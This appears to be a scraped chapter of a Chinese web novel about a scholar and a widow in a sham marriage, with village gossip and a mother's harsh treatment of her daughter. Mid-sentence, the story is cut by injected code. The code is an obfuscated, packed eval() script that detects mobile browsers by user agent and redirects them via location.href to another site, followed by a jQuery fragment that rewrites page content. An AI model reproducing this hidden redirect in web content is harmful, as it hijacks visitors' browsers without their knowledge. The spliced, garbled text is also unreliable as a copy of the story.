吃痛的卢丫深感委屈:“娘,我只是想扶您起来。”
马苗埋怨:“要不是你个死丫头,你爹哪会打我。”
院子不见卢家父子仨人的人影,头发凌乱的马苗恼怨地拧了卢丫两下,拍拍屁股回主屋。
饭桌独剩凉透了的残羹剩饭,汤水沿桌边滴落。卢丫埋头吃完剩余的几口饭菜,开始收拾碗筷,动作稍重招来马苗的谩骂。
“死丫头,碗碎了,你买吗?”
卢丫瑟缩着身体,下意识放轻动作,四五个碗混着菜碟腾放在汤盆,她颤颤巍巍地捧进厨房。
*
“周娘子,木匣里的银钱用以今后的生活开销。”裴含章拿出一个木匣,里头装有大把铜钱混几两碎银。
周明婉震惊:“裴秀才,你赶紧放好!”
裴含章表明目的:“以后木匣里的银钱归你保管。”
“裴秀才,这么多钱,还是你自己来保管吧。”周明婉愕然的看向他,连忙摆手推辞。
“周娘子,你我既以成婚,家里的花销理应由我出。”裴含章径直把手中的木匣移放她桌前。
周明婉蜷了蜷手指,纠结道:“可...我们是假成婚,哪能由你一人承担。”
“无论真假,摆席宴客做不得假,况且官府登名在册。”裴含章振振有词,“昨日你当村长的面说要照料我的生活起居,难得算不得真?”
“行,你稍等我一会儿。”裴含章的三言两语说通了周明婉,她回东厢房拿来一包钱袋。
“我同样该承担一部份生活花销。”周明婉解开钱袋口子,一把将里面的银子全倒入木匣。
“卟哒...卟哒...”
哗啦啦的银钱碰撞,木匣覆一层白花花的碎银。
“周娘子,你不必如此。”裴含章伸手捡出周明婉的钱,“以后你独自带孩子处处都要用钱。”
周明婉义正言辞的劝阻:“一码归一码,你同我成婚已然吃亏,我不能得寸进尺。”
“唉罢了,事已至此,周娘子你先收好木匣。”裴含章无奈摇头,不与她纠结。
“周娘子,今后多有麻烦。可贞有何处做得不妥,烦请你不吝指教。”裴含章整了整衣冠,后退一步郑重行礼。
周明婉手足无措:“裴秀才使不得。”
“裴秀才,明婉有不对的地方,烦请你多包涵指正。”缓过神的周明婉正对裴含章弯膝施礼。
“噗哧。”
互相行礼的俩人面面相觑,周明婉发觉这场面似乎有些滑稽,她忍不住吃笑一声。
裴含章随即反应过来,侧过头看外边,眼眸带笑,黑发高束,身姿如松柏屹立,清风悄然拂过长衫衣角。
周明婉乍然发觉裴含章有一副好皮囊。
院门大敞,槐花村人三三两两皆短褐草帽,肩挑扁担结伴往地里去,人影匆匆。
“周娘子,昨日我见田里的庄稼有些晒焉了,稍后我去溪边提水浇地。”裴含章换好衣服,拿出竹筒水壶倒入提前晾好的水。
周明婉说:“裴秀才,要不我同你一起去取水。”
裴含章温言婉拒:“无需你去,你且安心待在家,晌午我回家用饭。”
周明婉答应:“好,我做好晌午饭等你,天热,你小心疰夏。”
“你放心。”裴含章戴好一顶草帽,干汗巾搭脖颈,一杆扁担两头各挂一空水桶。
眼看裴含章的背影消失在视线范围,周明婉到墙角的水缸舀一瓢水浇菜地。她可不希望自己辛苦种好的菘菜眼看能摘来吃了,反被太阳晒干。
庆幸的是,有周明婉一瓢水一瓢水的浇灌,濒死的菘菜慢慢恢复生机,菘菜间有几根野草冒出,她一根根摘出丢给鸡鸭叨食。
临近晌午,日头愈发热烈,周明婉做好了饭菜,坐在阴凉处手持绣绷绣着罗帕的样式,等下回进县城赶墟再卖给布庄。
吃饱食的鸡鸭接连往周明婉的脚边蹭。
空气闷热难耐,热浪随呼吸进入五脏肺腑,鬓边的热汗滴在肩头,周明婉擦汗不忘眺望院外,妇人们接连返家送吃食给自家汉子。
裴含章迟迟未归,周明婉吃饱晌午饭,直接把桌上两小碟菜和凉粥放置饭盒,整理妥帖后,她提饭盒去找裴含章。
为避凉粥倾洒,周明婉特意放缓脚步,不忘四处找寻裴含章的人影,终于在十米外的大树底下找到他。
路过的杜娘子好奇道:“这不是周娘子吗?大热的天,她提饭盒去哪?”
五旬老妇杵了杵她的胳膊:“我刚瞧裴秀才在自家地浇水呢,周娘子怕是来给他送吃食。”
“听说她嫁给裴秀才,算算日子也快三个月了。”杜娘子朝周明婉的方向努努嘴,“你看她那腰身,哪像怀有身孕的模样,跟路边杨柳条似的柔弱无骨。”
老妇咂舌:“本以为她一个怀了孕的病秧子,离了卢猎户活不了几天,那曾想她能二嫁秀才。”
杜娘子叹气:“唉,有人天生命好,哪像我们命贱,嫁的是地里刨食的汉子。”
“别看了,再看下去,我们也变不成她那样。”满头大汗的老妇抬袖擦汗,顺带拉杜娘子走。
枝繁叶茂的大树最适合遮阴纳凉,裴含章连续两个时辰往返田地与河溪,汗水彻底浸湿短褐,两只裤腿挽至膝头。
“裴秀才,裴秀才。”
周明婉走近见他合目倚靠着大树,担心他中暍昏迷,急声唤他。
“周娘子,你怎的来了。”裴含章打算小憩过后归家吃饭。
“裴秀才,我拿了晌午饭给你。”周明婉蹲下身子依次揭开两层饭盒。
“周娘子,辛苦你了。”裴含章盯着饭盒里的菜和凉粥,内疚且动容。
周明婉见他神色愧疚:“分内之事,裴秀才勿须挂怀。”
裴含章瞧见她蹲坐着,他站起身环顾四周想找干净点的地方给她坐,结果均是零零星星的杂草和大片的黄泥土。
周明婉看穿他的窘迫,干脆席地坐下,扬头笑道:“我还能坐在这里。”
金黄的阳光被茂密的树叶切割,细碎的光芒映在她的眉梢眼角,裴含章难得晃神。
待裴含章重新坐下,周明婉介绍:“我新做两道小菜,醋腌黄瓜和清炒菘菜,你尝尝看合不合胃口。”
裴含章夹了两箸菜:“好吃,周娘子好手艺,黄瓜酸爽可口,菘菜脆嫩多汁。”
周明婉展眉浅笑:“那就好,我还怕不合你口味。”
“不会。”裴秀才的竹筒空空,顾不上读书人的仪表,将凉粥拌着小菜吃完。
“裴秀才,你把这片地浇完一遍水了?”周明婉指向前方的一片浓绿。
“是,明天我再去浇另一块地。”裴含章收拾东西挑起扁担,“我们回家。”
大片大片的禾苗随滚滚热
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787319|190541||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浪摇摆,发出簌簌的作响声。一瓢瓢河溪流水泼洒其间,晶莹剔透的水珠闪着亮光划过半空,最终化为禾苗的救命水。
“卢崇家寡妇的命不是一般的好,你瞧这大热的天儿,裴秀才单独下地干活。”
“可不是嘛,吃完的空饭盒,裴秀才宁愿挂在扁担上一齐挑回去,也不舍得让周娘子拿着。”
“她命好啊!连嫁两任相公都是个会疼人的。”
“还真是,卢猎户一年到头是一个人下地干活,顶多叫周娘子送送饭,到了裴秀才也这样儿。”
“莫不是上辈子烧了高香,才等来这般好运道儿,看来我这辈子要多烧烧香。”
“你回屋用铜镜照照自个儿,你能比得上她?你看她细皮嫩肉的,越晒越白跟妖精似的勾人。”
农田忙碌的妇人们借休息的功夫,抬头擦汗,无意窥见裴含章和周明婉并肩走在路头的场景,她们聚成群嘀咕。
“呸,活脱脱的狐狸精,害得我儿早早的离开爹娘。”马苗扯下头巾,朝泥地啐一口。
明事理的五旬妇人试图劝解:“卢山他婆娘,话不能这么说...”
马苗双手叉腰:“咋就不能说,我儿挣的银钱全倒贴她身上,我儿死后,她胆敢不许我们住进去。”
五旬妇人欲再开口,身旁的妇人挤眉弄眼的示意她别招惹马苗。
“娘。”不远处的卢丫左手提饭盒,牵着五岁幼童。
“娘。”卢康挣脱开卢丫的手,率先跑向马苗。
“哎呦,我的乖儿,累不累啊!”马苗沾了泥的手往衣摆蹭了蹭,双手搭卢康肩头。
卢康告状:“累,娘,她偷懒不抱我。”
卢丫辩解:“娘,不是的,我拿饭盒抱不了弟弟。”
“你懒鬼托生啊!现在才送饭来,你想饿死你爹娘是吧!!”马苗使劲戳卢丫的额头,破口大骂。
“娘,我没有。”卢丫不敢闪躲,任由马苗指指点点。
“敢顶嘴。”马苗厉眼一横,“还不去看好你弟。”
卢康专心窝田头挖泥捉虫,时而被藏在草丛里蟋蟀吸引,扑身抓它,全然不顾衣服染泥土。
马苗赶时间浇地,两口并作一口吃完晌午饭:“乖儿,娘吃饱了,你跟她回去吧。”
“好,娘早点回来。”卢康手心攥紧好不容易抓到的蟋蟀。
“我康儿真乖,娘听你的,早点回去陪你玩。”马苗拍了拍卢康衣衫的尘土,“你看看你,玩得泥猴儿似的。”
“娘,我们先回去了。”卢丫手肘挎着饭盒,费尽力气背起卢康。
“回去给你弟洗个澡。”马苗理了理马康额发,“你动作慢点,别摔着你弟。”
“娘,我知道了。”卢丫颤颤巍巍地往前迈步,一步比一步慢。
马苗重新绑好头巾,脱草鞋下田地。
“哎呦,太心酸了。”姚娘子扭过头窃窃私语,“同样一个亲娘生的,卢丫骨瘦如柴,卢康身板结结实实的。”
方娘子捣她一手肘:“你少管她家闲事,觉得心酸就别看。”
姚娘子揉了揉腰:“我哪敢啊,她险些逼死周娘子,她可不是什么善茬。”
方娘子意味深长:“你知道就好,她生的孩子你别善心泛滥。你可怜卢丫,呵,她没那么简单。”
姚娘子狐疑道:“啊!她不就是个爹不疼娘不爱的可怜孩子吗?”